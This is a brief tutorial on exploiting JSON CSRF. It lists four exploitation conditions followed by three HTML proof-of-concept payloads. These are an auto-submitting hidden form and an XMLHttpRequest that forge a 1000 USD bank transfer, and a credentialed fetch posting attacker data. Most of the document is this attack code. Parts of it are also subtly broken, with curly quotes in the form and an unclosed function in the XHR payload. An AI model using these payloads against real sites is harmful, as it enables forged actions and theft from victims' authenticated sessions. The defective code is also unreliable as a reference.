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Ways To Exploit JSON CSRF (Simple Explanation)

 How JSON CSRF can be exploitable?

  1. By using normal HTML Form1: When Content-Type is not validating at the server-side and also not checking for the POST data if it’s correctly formatted or not.
  2. By using normal HTML Form2 (By Fetch Request): When Content-Type is not validating at the server-side and only checking for the POST data if it’s correctly formatted or not.
  3. By using XMLHTTP Request/AJAX request: When Content-Type is validating at the server-side and the server accepts only “Content-Type: application/json”
  4. By using Flash file: When Content-Type is validating at the server-side and the server accepts only “Content-Type: application/json” and CORS is also configured properly
<html>
 <body>
 <form action=”https://members.bankofdirectdefense.com/accounts/transfer" method=”POST” enctype=”text/plain”>
 <input type=”hidden” name=”{\”from-account\”: 1,\”toAccount\”: \”021000021–9876543210\”,\”amount\”: 1000,\”currency\”: \”USD\”,\”foo” value=”\”:\”bar\”}” />
 </form>
 <script>document.forms[0].submit();</script>
 </body>
</html>
<html>
<title>JSON CSRF POC</title>
<body>
<center>
<h1> JSON CSRF POC </h1>
<script>
fetch('http://vul-app.com', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
</script>
<form action="#">
<input type="button" value="Submit" />
</form>
</center>
</body>
</html>
<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/members.bankofdirectdefense.com\/accounts\/transfer", true);
        xhr.setRequestHeader("Content-Type", "application\/json");
        xhr.withCredentials = true;
        xhr.send("{\"from-account\": 1,\"toAccount\": \"021000021-9876543210\",\"amount\": 1000,\"currency\": \"USD\"}");
      submitRequest();
    </script>
  </body>
</html>
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